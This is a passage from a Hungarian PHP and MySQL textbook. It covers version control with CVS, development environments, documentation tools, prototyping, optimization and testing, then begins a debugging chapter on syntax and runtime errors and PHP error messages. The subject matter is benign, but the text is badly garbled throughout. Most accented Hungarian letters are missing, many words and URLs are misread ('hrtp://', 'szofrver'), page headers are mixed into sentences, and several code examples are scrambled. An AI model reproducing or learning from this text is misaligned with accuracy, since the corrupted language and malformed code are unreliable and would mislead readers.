cmkvel, ami azt eredmnyezi, hogy folytathatjuk a kd fejlesztst, de brmikor hozzfrhetnk a jelenleg mkd verzi msolathoz;. A verzikvet rendszerek abban is segtenek, hogy egyszerre tbb programoz dolgozhasson egytt a kdon. Brmely programoz foghatja a kz;s trolban lv kd egy msolatt (ez; lesz; a sajt munkapldnya), s amikor vltoztatsokat hajt vgre rajta, azokat tvezetheti a trolban lv vltozatba (vagyis kz;z;teheti a vltoztatsait). A verzikvet rendszerekkel gy nyomon kvethet, hogy ki hajtotta vgre a rendszeren az; egyes vltoztatsokat. Ezek a rendszerek ltalban az; egyidej vltoztatsok kezelsre is kpesek. Ez azt jelenti, hogy ugyanazt a fjlt egyszerre egynl tbb programoz is mdosthatja. Kpzeljk el pldul azt, hogy Jnos s va is ltrehozta projekgk legutols vltoza tnak egy munkapldnyt! Jnos befejezi az; adott fjl mdostst, majd kzz;resz;i a vltoztatsait. va is mdosga ugyanazt az; llomnyt, s is megprblja kz;z;tenni a vltoztatsokat. Ha a mdostsok nem a fjl ugyanazon rszben trtntek, akkor a verzikvet rendszer egyesti a fjl kt vltozatt. Ha a mdostsok tkznek egymssal, akkor a rendszer rtesti vt, s megmutatja neki a kt klnbz verzit. Ekkor lehetsget kap, hogy az; tkzsek elkerlse rdekben mdostsa sajt vltozatt. A Unix- s/vagy nylt forrskd fejleszrk tbbsge a Concurrent Versions System (CVS) nev verzikvet rendszerrel dolgozik. A nylt forrskd CVS gyakorlacilag a Unix minden verzijn automatikusan elrhet, s DOS-os vagy Windows opercis rendszert futtat P C-khez; s Macintosh gpekhez; is beszerezhet. Tmogatja a kliens/sz;erver modellr, gy min den interneckapcsolattal rendelkez gprl hasznlhat, amennyiben a CVS kiszolgl elrhet az; interneten. Rszben ezrt a PHP, az; Apache s a Mozilla fejlesztse sorn is ezt a rendszert hasz;nltk. Szmrgpnkre a CVS honlapjrl (hrtp://ximbiot.com/cvs/wiki/) tudjuk letlteni. Ugyan az; alap CVS rendszer parancssori eszkz, klnbz bvtmnyekkel vonzbb, egyebek kzte Java-alap s windowsos kezelfelletet adharunk neki. Ezeket a bvtmnyeket is a CVS weboldalrl sz;erezhegk be. A Bitkeeper a CVS-szel rivlis verzikvet rendszer, amit pldul olyan nylt forrskd projektekhez hasznlnak, mint a MySQL s a Linux kernel. Nylt forrskd projektekhez ingyenesen beszerezhet a http://www.bitkeeper.com/ oldalrl. Termszetesen fizets verzikvet rendszerek is lteznek. Egyik ilyen a perforce, amely a leggyakoribb plattormok tbbs gn fut, s PHP -tmogatssal br. Noha fizets, a nylt forrskd projekthez ingyenes licencek sz;erezhetk be a htcp://www. perforce.com/ oldalrl.

25

A PHP s a MySQL hasznlata nagyobb projektekben

375

A fejlesztkrnyezet kivlasztsa
A verzikvers utn annl ltalnosabb tmakr kvetkezik: a fejlesztkrnyezet krdse. A fejlesztshez tulajdonkppen elegend lenne egy szvegszerkeszt s - a tesztelshez- egy bngsz, de a programozk ltalban hatkonyabban tudnak dolgozni az integrlt fejlesztkrnyezetekben (Integrated Development Environment- IDE). Szmos ingyenes projekt ltezik dediklt PHP IDE ltrehozsra, kztk a KPHPDevelop, amely a Linux alatti KDE asz rali krnyezethez val, s a http://kphpdev.sourceforge.net/ oldalrl tlthet le. A dolgok jelenlegi llsa szerint azonban a legjobb PHP fejlesztkrnyezetek fizetsek. A zend.com Zend Studija, az activestate.com Komodja s a nusphere.com PHPEd-je mind funkcikban gazdag, hatkonyan hasznlhat fejlesztkrnye zet. Mindegyik ingyenesen kiprblhat, m tarts hasznlatuk fizets. A Kornodhoz olcs, nem zleti clra hasznlhat licenc is beszerezhet.

Projektjeink dokumentlsa
Programozsi projektjeinkhez szmtalan klnfle dokumentcit kszthetnk. A reljessg ignye nlkl emltsnk meg ezek kzl nhnyat: Tervdokumentci Mszaki dokumentci/fejleszti tmutat Adatsztr (belertve az osztlydokumentcit) Felhasznli tmutat (noha a webes alkalmazsok tbbsgnek magtl rtetdnek kell lennie) Ennek a rsznek nem az a clja, hogy megtanuljunk mszaki dokumentcit rni, hanem elmondjuk, hogy sokkal knnyeb b tehetjk letnket, ha rszben automatizljuk ennek folyamatt. Egyes nyelvek lehetv teszik a fent emltett dokumentumok egy rsznek - elssorban a mszaki dokumentcinak s az adatsztraknak- az automatikus ellltst. A javadoc pldul fastruktrba rendezett HTML fjlokat hoz ltre, amelyek osztlytagok prototpusait s lersait tartalmazzk a Java-programokhoz. J egynhny ilyen tpus segdalkalmazs rhet el a PHP-hez, pldul: phpdoc (a http://www.phpdoc.de/ oldalrl tlthet le) A PEAR ezt a rendszert hasznlja a kd dokumentlsra. rdemes megjegyezni, hogy a phpDoc kifejezs szmos ilyen tpus projekere utal, amelyek kzl ez az egyik. PHPDocumentor (a http://phpdocu.sourceforge.net oldalrl szerezhet be) A PHPDocumentor a javadochoz hasonl vgeredmnyt ad, s viszonylag robusztusan mkdik. Az itt megemltett kt msik ilyen alkalmazsnl aktvabb fejleszti csapattal bszklkedhet. phpautodoc (a http://sourceforge.net/projects/phpautodoc/ oldalon rhet el) A phpautodoc is a javadochoz hasonl vgeredmnyt ad. Ilyen tpus tovbbi alkalmazsokat (s ltalnossgban a PHP komponenseket) a SourceForge weboldaln rdemes keres ni: http://sourceforge.net. A SourceForge elsdleges haszonlvezje a Unix/Linux-kzssg, de sok projekt ms platformok hoz is elrhet.

Prototpuskszts
A prototpuskszls (prototyping) a fejlesztsi ciklus webes alkalmazsok esetn gyakran hasznlt rsze. A prototpus kivlan alkalmas az gyfl elvrsainak meghatrozsra. Jellemzen a fejlesztend alkalmazs egyszerstett, rszben mkd verzi ja, amely az gyfllel folytatott trgyalsokon, illetve a vgleges rendszer alapjaknt hasznlhat. A vgleges alkalmazs gyakran a prototpus tbbszri mdostsval ll el. Az ilyen megkzelts elnye, hogy az gyfllel vagy vgfelhasznlkkal szoros egyttmkdsben dolgozva olyan rendszert llchatunk el, amellyel elgedettek lesznek, s legalbb valamilyen mrtkben maguknak rzik azt. Egy prototpus gyors "sszedobshoz" bizonyos kszsgek s eszkzk szksgesek. A komponens alap megkzelts jl rud mkdni az ilyen helyzetekben. Ha rendelkezsnkre llnak klnfle, meglv komponensek, akr hzon belliek, akr nyilvnosan elrhetk, sokkal gyorsabban vgezhetnk. A prototpusok gyors elksztsnek msik hasznos eszkzei a sablo nok. A kvetkez rszben ezeket az eszkzket tekintjk t. Prototpuskszts esetn kt f problmba futhatunk bele. Annak rdekben, hogy elkerlhessk ezeket, s a lehet legrel jesebb mrtkben ki tudjuk hasznlni a prototpusok elnyeit, ismerni kell ezt a kt problmt. Ezek kzl az els, hogy a programozk valamilyen okbl nehezen szabadulnak meg az lcaluk mt megirt kdtL A protot pusokat gyakran gyorsan dobjk ssze, s utlag mr knnyen megllapthat, ha nem optimlis vagy nem kzel optimlis mdon kszltek el. A hibs kdrszeket ugyan ki lehet javtani, de ha a reljes struktra rossz, akkor bizony b:yba kerltnk. A problma

25

376

25. fejezet

abbl ered, hogy a webes alkalmazsok igen gyakran az id szarrsban kszlnek, s egyszeren nincs id a teljes korriglsra. Ekkor knytelenek vagyunk egy gyengn megtervezert rendszerrel berni, amit radsul igen nehz lehet mkdtetni. Az ilyen problmt- ahogy azt mr emltertk - nmi tervezssei megelzhetjk. Ne felecljk, hogy egyes helyzetekben jobb egy huszrvgssal mindent eldobni s az egszet ellrl kezdeni, mint megprblni kijavtani a hibt! Br gy tnhet, hogy az jrakezdshez egyszeren nincs id, sokszor rengeteg ksbbi kellemetlensgrl kmlhet meg bennnket. A prototpuskszrs msodik problmja, hogy a fejlesztend rendszer knnyen rk prototpusknt vgezheti. M inden egyes alkalommal, amikor mr azt gondoljuk, hogy elkszlrnk, az gyfl tovbbi javtsokat vagy jabb funkcikat, mdos rsokat krhet a weboldalon. Ha ez bekvetkezik, knnyen rezhetjk gy, hogy ezzel a projekttel sosem fogunk vgezni. Ezt elkerlend ksztsnk olyan projekttervet, amely meghatrozza a prototpusok konkrt szmt s egy olyan dtumot, amely utn jabb funkcikat csak a kltsgvets s a hatridk mdosrsval lehet bevenni.

A mkds s a tartalom sztvlasztsa


Bizonyra ismers szmunkra az a mdszer, hogy HTML kd segtsgvel hatrozzuk meg egy webes dokumentum szerkeze rt, s egymsba gyazott stluslapokkal (cascading sryle sheers- CSS) alakitjuk ki a megjelenst. A megjelents s a tartalom elvlasztsnak elve a programozsra is kirerjeszthet. Weboldalaink hossz tvon egyszerbben hasznlhatk s kezetherk lesznek, ha a mkdst, a rarralmar s a megjelentst sztvlasztjuk egymstl. Ennek a folyamarnak a lnyege a mi esetnk ben a PHP s a HTML elklntse. Az egyszer, pr soros kdokbl vagy programokbl ll projektek esetn tbb fradsggal jrhar a tartalom s a logika szt vlasztsa, mint amennyit nyernk rajta. Nagyobb projekteknl azonban elengedhetetlen, hogy megtalljuk a mkds s a tar talom sztvlasztsnak mdjt. Ha ezt elmulasztjuk, kdunk egyre nehezebben kezelhetv vlik. Ha mi magunk dnrunk gy, vagy a kls krlmnyek gy hozzk, hogy j dizjnt kell szabni weboldalunknak, s rengeteg HTML lett begyazva kdunkba, knnyen rmlomm vlhat a dizjnvlts. A mkds s a tartalom sztvlasztsnak hrom alapvet mclja a kvetkez: A tartalom klnbz rszeit troljuk heilleszrend fjlokban l Ez a megkzelts a vgletekig leegyszerstett, de nagy rszt statikus oldal esetn meglehetsen jl mkdik. Az ilyen tpus megkzeltst mutattuk be a Kd tbbszri jelhasz nlsa s fggvnyrs cm 5. fejezet TLA Consuiting pldjban. Fggvny vagy osztly API-hez tagfggvnyek sorozatt hasznlva illessznk dinamikus tarralmar a statikus oldalsablo nokbal Ezt a megkzeltst az Objektumorientlt PHP cm 6. fejezetben tekintettk t. Hasznljunk sablonrendszerd Ez a statikus sablonokat elemezve s regulris kifejezsekkel dolgozva dinamikus tar talomra cserli a helyrz cmkket. Ennek a megkzeltsnek a legfbb elnye, hogy ha valaki ms, pldul grafikus tervezi sablonjainkat, akkor neki semmit sem kell tudni a PHP-programozsrl. Az gy kaport sablonokat minimlis mdosrssal hasznlni tudjuk. Szmtalan sablonrendszer kzl vlaszthatunk. A legnpszerbb kzlk taln a Smarry, amely a http://smarty.php.net/ oldalon rhet el.

Kdoptimalizls

25

Amennyiben nem webes programozsi httrrel rendelkeznk, az optimalizls igen fontos lehet szmunkra. PHP esetn a felhasznlk legfkppen a kapcsoldsi s a letltsi id miatt vrakozharnak webes alkalmazs hasznlata kzben. Ezekre a tnyezkre ltalban csak minimlis hatssal lehet kdunk optimalizlsa.

Egyszer optimalizcis lpsek


Ugyanakkor, ha MySQL adatbzist integrlunk PHP kdunkba, ltezik nhny egyszer optimalizcis lps, amely cskken teni kpes a kapcsoldsi s letltsi idt: Cskkentsk az adatbzishoz csadakozsok szmt! Az adatbzishoz csatlakozs sok esetben a kd leglassabb rsze. Gyorstsuk fel az adatbzis-lekrdezseked Cskkentsk az ltalunk vgzert lekrdezsek szmt, s gyeljnk r, hogy optimalizlt lekrdezsekkel dolgozzunk! sszetett (s ebbl kvetkezleg lass) lekrdezsek esetn ltalban tbb mdszer is ltezik a problma megoldsra. Futassuk lekrdezseinket az adatbzis parancssori felletrl, s klnbz mdszerekkel ksrletezve keressk meg a leggyorsabb megoldst! MySQL-ben az EXPLAIN utastssal derthetjk ki, hogy egy lekrdezs hol kezd el rossz irnyba menni. (Az utasts hasznlatt a Halad MySQL adminisztrci cm 12. fejezetben mutattuk be.) ltalnos irnyelv szerint minimalizljuk az sszekapcsolsok szmt, s minl inkbb hasz nljuk az indexeked

A PHP s a MySQL hasznlata nagyobb projektekben

377

Kerljk a statikus tartalom PHP-bl val ellltst! Ha minden, ltalunk ellltott HTML echo vagy print () utastsbl szrmazik, az oldal ellltsa jelentsen tovbb tarthat. (Ez az egyik rv a mkds s a tartalom korbban bemutatott sztvlasztsra.) Ez a tancs a kpgombok dinamikus ellltsra is rvnyes: a PHP-t csak arra hasznl juk, hogy egyszer ellltsuk a gombokat, majd szksg esetn jra felhasznlhatjuk azokat. Ha egy oldal minden egyes betltsekor fggvnyekbl vagy sablonokbl lltjuk el a pusztn statikus oldalakat, gondolkodjunk el azon, hogy csak egyszer futtatjuk a fggvnyeket! Vagy hasznljuk a sablonokat, majd elmentjk ennek eredmnyt. Ahol csak lehetsges, sztringkezel fggvnyeket vegynk ignybe a regulris kifejezsek helyett, mert az elbbiek gyor sabbak.

Zend termkek hasznlata


A Zend Technologies tulajdonban van a PHP 4-es verzijtl kezdve hasznlt (nylt forrskd) PHP parancsfjlmotor (scripting engine). Az alapmotor mellett a Zend Optimizer is lelthet. Ez a tbblpses optimalizl optimalizlja kdunkat, s 40-100 szzalkkal kpes nveini programjaink futsi sebessgt. Az optimalizl futtatshoz a PHP 4.0.2-es vagy annl jabb vltozatra van szksg. Ugyan nem nyilt forrskd, de ingyenesen letlthet a Zend oldalrl (http://www.zend.com). Ez a kiegszt gy mkdik, hogy optimalizlja a kdunk futsidej fordtsa ltal ellltott kdot. A Zend egyb term kei kztt a Zend Studit, a Zend Acceleratort, a Zend Encodert, illetve fizets tmogatsi szolgltatsokat tallunk.

Tesztels
A kd mzse s tesztelse a szaftverfejleszts egy msik olyan sarkalatos pontja, amellyel webes fejleszts esetn gyakran hajlamosak vagyunk nem foglalkozni. Knny a rendszer kt vagy hrom tesztesettel trtn futtatsa utn felllni s azt mon dani: ,.igen, hibtlanul mkdik:' Gyakran eikvetik ezt a hibt. Mieltt alkalmazsunkat lesben mkdtetjk, teremtsk meg az alapos tesztels lehetsgt, s gondoljunk vgig szmos lehetsges forgatknyvet! Kt megkzeltst ajnlunk a kdjainkban lv hibk cskkentsre. (A hibkat maradktalanul soha nem lehet kiszrni, de tbbsgket igenis meg lehet szntetni.) Mindenek eltt nzessk t kdunkat msokkal! Ez azt jelenti, hogy egy msik programoz vagy programozk egy csoportja tnzni kdunkat, s javaslatokat tesz. Az ilyen dpus elemzs az albbi eredm nyeket hozhatja: ltalunk szre nem vett hibk Tesztesetek, amikre nem gondoltunk Optimalizls Fejleszrsek a biztonsg tern A kd fejlesztsre alkalmas, ltez komponensek hasznlata Tovbbi funkcik Ha egyedl dolgozunk, akkor is rdemes lehet egy ,.programoztrsat" keresni, aki hozznk hasonl cipben jr, s akivel tnzhetjk egyms kdjait. Msodsorban azt. ajnljuk, keressnk olyan tesztelket webes alkalmazsainkhoz, akik a termk vgfelhasznli krbl kerlnek ki (vagy ket kpviselik). A webes s az asztali alkalmazsok kztt az elsdleges kiilnbsg, hogy az elbbieket brki hasznlhatja. Nem lhetnk pldul olyan felttelezsekkel, hogy a felhasznJk jrtasak lesznek a szmtgpek kezelsben. Nem adhatunk nekik vaskos hasznlati kziknyvet vagy gyors referencia-tmutatt. Helyette arra kell trekedni, hogy webes alkalmazsaink maguktl rtetden kezelhetk s az elterjedt alkalmazsokhoz hasonlan mkdk legyenek. Gondoljunk bele, hogy milyen mdon kivnjk majd a felhasznJk ignybe venni alkalmazsunkari A hasznlhatsg mindenek felett ll. Tapasztalt programozknt vagy internetezknt nem knny elkpzelni, milyen problmkkal tallkozhatnak a kezd vgfelhasznlk. Ezen legegyszerbben gy segithetnk, ha a tipikus felhasznlra hasonlt tesztelket krnk fel. rdemes lehet a webes alkalmazsainkat btaverziban megjelentetni. Amikor gy rezzk, hogy a hibk tbbsgt mr kigyomlltuk, tesztfelhasznlk egy korltozott csoportja szmra tegyk elrhetv az alkalmazst! szrevteleikrt cserbe knljunk fel ingyenes szolgltatsokat az els szz felhasznlnak! Biztosak lehetnk benne, hogy olyan adatokkal s olyan mdon fogjk kiprblni az alkalmazst, amire nem is gondolhattunk. Ha cges gyfl szmra fejlesztnk weboldalt, a cg alkalmazottait felkrve egyszeren juthatunk tesztelkhz. (Ez azzal
a

25

kzzelfoghat elnnyel is jr, hogy az gyfl jobban magnak rezheti az ltala tesztelt oldalt.)

378

25. fejezer

Tovbbi olvasnival
Rengeteg anyag foglalkozik ezzel a terlettel; a fejezetben lnyegben a szofrverfejleszts tudomnyval foglalkoztunk, amelyrl szmtalan knyvet rtak. A weboldalak dokumentumknt vagy alkalmazsknt rtelmezett megkzeltsei kztti klnbsget kivlarr mutatja be Thomas A. Powell Web Site Engineering: Beyond Web Page Design cm kiadvnya, de a szofrverfejlesztssel foglalkoz brmely, neknk tetsz knyvnek hasznr vehetjk. A verzikversrl a CVS weboldaln (http:/ /ximbiot.com/ cvs/wiki/) tallunk tovbbi informcit. A tma fontossgt tekintve kiss meglep mdon nem sok knyvet rtak a verzikvetsrl, de rdemes lehet elolvasni Karl Franz Fogel Open Source Development with CVS vagy Gregor N. Purdy CVS Pocket Re erence munkjt. f Ha PHP komponenseket, integrlt fejlesztkrnyezeteket vagy dokumentcis rendszereket keresnk, nyissuk meg a SourceForge weboldalt: http://sourceforge.net! A fejezetben trgyalt tmk jelents rszvel a Zend weboldaln tallhat cikkekben is foglalkoznak. Ha szeretnnk elm lyedni ezekben, bngssznk az oldalon! Ha mr ott jrunk, rdemes lehet letlteni az optimalizlt is (hrrp://www.zend.com). Ha rdekesnek talltuk ezt a fejezetet , ltogassuk meg az Extreme Programming weboldald Itt az olyan terlereken al kalmazhat szofrverfejlesztsi mdszerekrl olvashatunk, ahol a kvetelmnyek- a webes fejleszrshez hasonlan- gyakran vltoznak. Az Extreme Programming weboldala a http://www.extremeprogramming.org cmen rhet el.

Hogyan tovbb:
A Hibakeress cm 26. fejezetben ttekintjk a programozsi hibk klnbz tpusait, a PHP hibazeneteit, illetve a hibake ress lehetsges mdszereit.

25

26
Hibakeress
Az elttnk ll fejezet PHP kdokon belli hibakeresssel foglalkozik. Ha vgigrgmk magunkat a knyv eddigi pldin, vagy korbban is hasznltuk mr a PHP-r, akkor minden bizonnyal kezdenek mr kialakulni sajt hibakeressi mdszereink. Ahogy projektjeink egyre sszetettebbek lesznek, gy vlik majd egyre nehezebb a hibakeress. Ugyan ilyen jelleg kpes sgeink is fejldni fognak, a hibk azonban vlheten tbb fjlbl vagy tbb programoz ltal rt kdbl erednek majd, ami igencsak megneheztheti dolgunkat. A fejezerben az albbi fbb tmakrket fogjuk ttekinteni: Programozsi, szintakrikai, futsidej s logikai hibk Hibazenetek Hibaszintek Sajt hibk kivltsa A hibakezels elegns mdja

Programozsi hibk
A programozsi hibknak programozsi nyelvtl fggetlenl hrom ltalnos tpusa ltezik: Szintakrikai hibk Futsidej hibk Logikai hibk Mieltt bemutatnnk a hibk szlelsre, kezelsre, elkerlsre s kijavtsra szolgl stratgikat, vizsgljuk meg egyen knt ezeket a hibatpusokarl

Szintaktikai hibk
A nyelvek szintaktiknak nevezett szablyrendszerrel rendelkeznek, amit az utastsoknak be kell tartaniuk ahhoz, hogy r telmesek s mkdkpesek legyenek. Ez a termszetes nyelvekre (pldul a magyarra) s a programozsi nyelvekre (pldul a PHP-re) egyarnt rvnyes. Ha egy urasrs nem tartja be a nyelv szablyait, azt mondjuk, hogy szintaktikai hibja van. Ha r telmezett (interpreted) nyelvrl, pldul a PHP-rl beszlnk, akkor a szintaktikai hibkat szoks rtelmezsi hibknak (parser o error) nevezni. Ha fordirorr (compiled) nyelvrl, pldul C-rl vagy Javrl, akkor pedigf rdtsi hibknak (compiler error). Ha megszegjk a magyar nyelv szinrakrikai szablyait, mg knnyen lehet, hogy az emberek megrrik, amit mondani szn dkozunk. Programozsi nyelvek esetben azonban ez ltalban nem igaz. Ha egy kd nem kveti a PHP szintakrikjnak szablyt - vagyis szintakrikai hibkar tartalmaz -, a PHP rtelmez annak egy rszr vagy egszt nem lesz kpes feldolgozni. Az emberek jk abban, hogy rsz- vagy egymssal tkz adarokbl kiszrjk a kell informcit. A szmrgpekre sajnos ez nem ll. A PHP szintaktikja sok ms szably kzrt megkvereli azt, hogy az urasrsok pontosvesszvel zruljanak, a karakter lncok idzjelek kz kerljenek, a fggvnyeknek radott paramtereker pedig vesszvel vlasszuk el egymstl, s zrjelek kz tegyk. Ha megszegjk ezeker a szablyokat, PHP kdunk nagy valsznsggel nem fog mkdni, s hibazenetet gene rl, amikor elszr megprbljuk futtarni. A PHP egyik erssge a jl hasznlhat hibazenerek, amelyekkel akkor tallkozunk, ha valami nem jl alakul. A PHP hibazeneteibl ltalban kiderl, hogy mi csszorr flre, melyik fjlban trtnt a hiba, s melyik sorban ralljuk. Egy tipikus hibazenet a kvetkezkppen nz ki:
Parse error: parse error, unexpected ''' in /home/book/public_html/php_es_mysql/26_fejezet/error.php on line

azaz:

380

26. fejezet

rtelmezsi hiba: rtelmezsi hiba,

nem vrt ''' a sorban

/home/book/public_html/php_es_mysql/26 fejezet/error.php fjl 2.

A fenti hibt a kvetkez kd vltotta ki:


<?php $date = date(m.d.y'); ?>

Mint lthat, megprblrunk egy karakterlncot tadni a date () fggvnynek, de vletlenl lemaradt a kezd idzjel, amely a karakterlnc elejt lett volna hivatott jellni. Az ehhez hasonl, egyszer szintaktikai hibkat a legknnyebb megrallni. Jellegben hasonl, de nehezebben megrallhat hibt kvetnk el, ha elfelejtjk lezrni a karakterlncot, ahogy tettk azt az albbi pldban:
<?php $date = date('m.d.y); ?>

Ez a kd az albbi hibazenetet vltja ki:


Parse error: parse error, unexpected $end in /home/book/public_html/php_es_mysql/26 fejezet/error.php on line 2

azaz:
rtelmezsi hiba: rtelmezsi hiba, nem vrt sorlezrs a sorban /home/book/public_html/php_es_mysql/26 feJezet/error.php fjl 2.

Az olyan hibk, amikor megnyirunk valamit, majd elfelejtjk lezrni, gyakran gy jelentkeznek, s ilyen hibazenetet ered mnyeznek. Egyszeres s ktszeres idzjelek, illetve a zrjelek klnbz forminak (kapcsos, szgletes) hasznlata esetn kvethetjk el ezt a hibatpust. A kvetkez kd hasonl szimaktikai hibt generl:
<?php if (igaz)

echo 'itt hiba van'; ?>

Az ilyen hibkat abban az esetben, ha tbb fjl kombincijbl addnak, nem egyszer megtallni. Akkor is nehz hely

zetbe kerlhetnk, ha egyetlen, de j nagy mret fjlban fordulnak el. Egy ezersoros fjl esetn kapott parse error on
line 1001, azaz"rtelmezsi hiba az 1001. sorban" zenet akr egy egsz napunkat tnkre tudja tenni- de legalbb finom

clzst kapunk arra vonatkozan, hogy modulrisabb felpts kdot kellene rnunk. Mindezek ellenre a szintaktikai a legknnyebben megrallhat hibatpus. Ha szintaktikai hibt kvetnk el, s megprbl juk futtatni a kdblokkot, a PHP hibazenetben kzli, hogy hol talljuk a hibt.

Futsidej hibk
A futsidej hibkat szlelni s kijavtani is kemnyebb di. Lehet, hogy kdunk szintaktikai hibt tartalmaz, de az is lehet, hogy nem. Elbbi esetn az rtelmez a kd futtatsakor szlelni fogja azt. A futsidej hibkat nem kizrlag kdunk tartal ma okozza, kvetkezhetnek kdunk s ms esemnyek vagy krlmnyek klcsnhatsbL A
require ('fajlnev.php');

teljes mrtkben helyes PHP utasts. Szintaktikai hibkat nem tartalmaz. Ennek ellenre ez az utasts is okozhat futsidej hibt. Ha vgrehajtjuk az utastst, s a fajlnev.ph p nem ltezik, vagy a felhasznlnak, akikm a kd fut, nincsen hozz olvassi jogosultsga, az albbihoz hasonl hibt s hibazenetet

26

kapunk:
Fatal error: main() [function.require]: Failed opening required 'fajlnev.php' (include_path='.:/usr/local/lib/php') in /home/book/public_html/php_es_mysql/26_fejezet/error.php on line l

azaz
Vgzetes hiba: main() [function.require]: Nem sikerlt megnyitni a 'fajlnev.php' fjlt (include_path='.:/usr/local/lib/php') a /home/book/public_html/php_es_mysql/26_fejezet/error.php fjl l. sorban

Annak ellenre, hogy ez a kd hibtlan, futsidej hibt eredmnyezhet, mert mkdshez olyan fjl szksges, amely nem biztos, hogy a kd futtatsakor elrhet.

Hibakeress

381

A kvetkez hrom urasrs mindegyike helyes s rtelmes PHP utasts. Egytt azonban, sajnos, a leheterlent - a nullval osztst - ksrlik meg:
$i $j $k
=

10; 0;
$i/$j;

Ez a rvid kd a kvetkez figyelmeztetst vltja ki:


Warning: Division by zero in /home/book/public_html/php_es_mysql/26_fejezet/divO.php on line 3

azaz
Figyelmeztets: Nullval oszts a sorban /home/book/public_html/php_es_mysql/26 fejezet/divO.php fjl 3.

Ez a figyelmeztets nagyon egyszerv teszi a hiba kijavtst. Nagyon kevesen rnak szndkosan olyan kdot, amely null val prbl meg osztani, de a felhasznli bevitel ellenrzsnek elmulasztsa gyakran eredmnyezher ilyen tpus hibt. A kvetkez kd ugyanezt a hibt eredmnyezi, m azt sokkal nehezebb krlhatrolni s kijavtani, mert csak egyes esetek ben kvetkezik be:
$i $k
=

10;
$i/$_REQUEST['input'];

Ez egyike a szmtalan, klnbz, futsidej hibnak, amellyel kdunk tesztelse sorn tallkozhatunk. Az albbiakat tekinthetjk a futsidej hibk leggyakoribb oknak: Nem ltez fggvnyek hvsa Fjlok olvassa vagy rsa MySQL-hez vagy egyb adarbzishoz csatlakozs Hlzati szolglratsok elrse Beviteli adatok ellenrzsnek elmulasztsa A kvetkez oldalakon rviden tnzzk ezeker a hibaforrsokar.

Nem ltez fggvnyek hvsa


Nagyon knnyen megeshet, hogy nem ltez fggvnyeker hvunk meg. A beptett fggvnyeker gyakran nem kvetkezeresen nevezik el. Mirt van a strip_tags () fggvny nevben alulvons, amikor a stripslashes () nvben nincs? Az is knnyen elfordulhar, hogy olyan sajt fggvnyt hvunk meg. amely az aktulis kdban nem ltezik, de valahol mshol igen. Ha kdunk nem ltez fggvny hvsr tartalmazza, pldul
nemletezo_fuggveny();

vagy
elgeplt_fuggveny();

az albbihoz hasonl hibazeneret fogunk kapni:


Fatal error: Call to undelined function: nonexistent_function() in /home/book/public_html/php_es_mysql/26_fejezet/error.php on line l

azaz
Vgzetes hiba: Nem defmilt fggvny hvsa: nemletezo_fuggveny() sorban a /home/book/public_html/php_es_mysql/26_fejezet/error.php fjl l.

Hasonlkppen hibazenetet eredmnyez z formban hvjuk meg:


strstr();

az

is, ha nem megfelel szm paramterrel hvunk meg ltez fggvnyt.

A strstr () fggvny kr karakterlncot vr paramterknt: a keress helyt s a keresett szrringet. Ha azonban a kvetke

az albbi hibazenetet kapjuk:


Warning: Wrong parameter count for strstr() in /home/book/public_html/php_es_mysql/26_fejezet/error.php on line l

26
szm paramter() a sorban

azaz
Figyelmeztets: Nem megfelel /home/book/public_html/php es_mysql/26_fejezet/error.php fjl l.

Ugyanez az urasrs a kvetkez kdban is hibs:


<?php if($var
==

4)

382

26. fejezet

strstr();

?>

Azt a taln ritka esetet leszmtva, amikor a $var vltoz rtke 4, a strstr () fuggvny nem lesz meghvva, gy figyel meztetst sem kapunk. A PHP rtelmez nem vesztegeti az idejt a kd aktulis futtatshoz nem szksges kdrszek rtel mezsre. Pontosan az ilyen esetek miatt kell gondoskodnunk az alapos tesztelsrl! A fuggvnyeket igen knny hibsan meghvni, de mivel az ekkor kapott hibazenetek egyrtelmen beazonostjk a probl mt okoz sort s fuggvnyhvst, ugyanilyen knnyedn orvosolhatjuk is a hibt. Kizrlag abban az esetben okoz nehzsget a hiba megrallsa, ha elgrelen volt a tesztels, nem teszteltk az sszes, felttelesen vgrehajtand kdot. A tesztels egyik clja minden egyes kdsor legalbb egyszeri futtatsa kell, hogy legyen. Msik clunk pedig a beviteli adatok minden peremfel ttelnek s tpusnak tesztelse legyen!

Fjlok olvassa vagy rsa


Noha programunk hasznos lettartama alatt tulajdonkppen brmi elromolhat, egyes problmk a tbbinl nagyobb va lsznsggel fognak bekvetkezni. Mivel a fjlkezelssei kapcsolatos hibkra bizton szmitharunk, fontos, hogy elegns mdon kezeljk ket. A merevlemezek elromlanak s betelnek, emberi hibk pedig a knyvtrjogosultsgok megvltozst eredmnyezhetik. Azok a fuggvnyek, amelyeknl szmirharunk arra, hogy esetenknt hibt eredmnyeznek- kztk pldul az fopen() -, jellernzen visszatrsi rtkkel rendelkeznek, ami ural a hiba bekvetkezsre. Az fopen() esetben a false, szarrsi rtk jelzi a hibt. Az ilyen jelzst ad fggvnyeknl minden hvsnl gondosan ellenrizni kell a visszatrsi rtket, s kezelni kell az eset leges hibkat.
azaz

hamis visz

MySQL-hez vagy egyb adatbzishoz csatlakozs


A MySQL-hez csatlakozs s valamely adatbzis hasznlata szmos hibt eredmnyezhet. A mysqli_connect() fuggvny hasznlata mr nmagban is a kvetkez hibkat okozhatja:
Warning: mysqli_connect() [function.mysqli-connect]: Can't connect to MySQL server on 'localhost' (10061) Warning: mysqli connect() [function.mysqli-connect]: Unknown MySQL Server Host 'hostname' (11001) Warning: for user:
azaz

mysqli_connect()

[function.mysqli-connect]: YES)

Access denied

'username'@'localhost' (Using password:

Figyelmeztets:

mysqli_connect()

[function.mysqli-connect]:

Nem sikerlt

kapcsoldni a MySQL szerverhez a 'localhost' gpen (10061) Figyelmeztets: mysqli_connect() [function.mysqli-connect]: Ismeretlen MySQL szerverhoszt 'hostname' (11001) Figyelmeztets: mysql connect() [function.mysqli-connect]: IGEN) Hozzfrs megtagadva a 'username'@'localhost' felhasznlnak ( Jelszhasznlat:

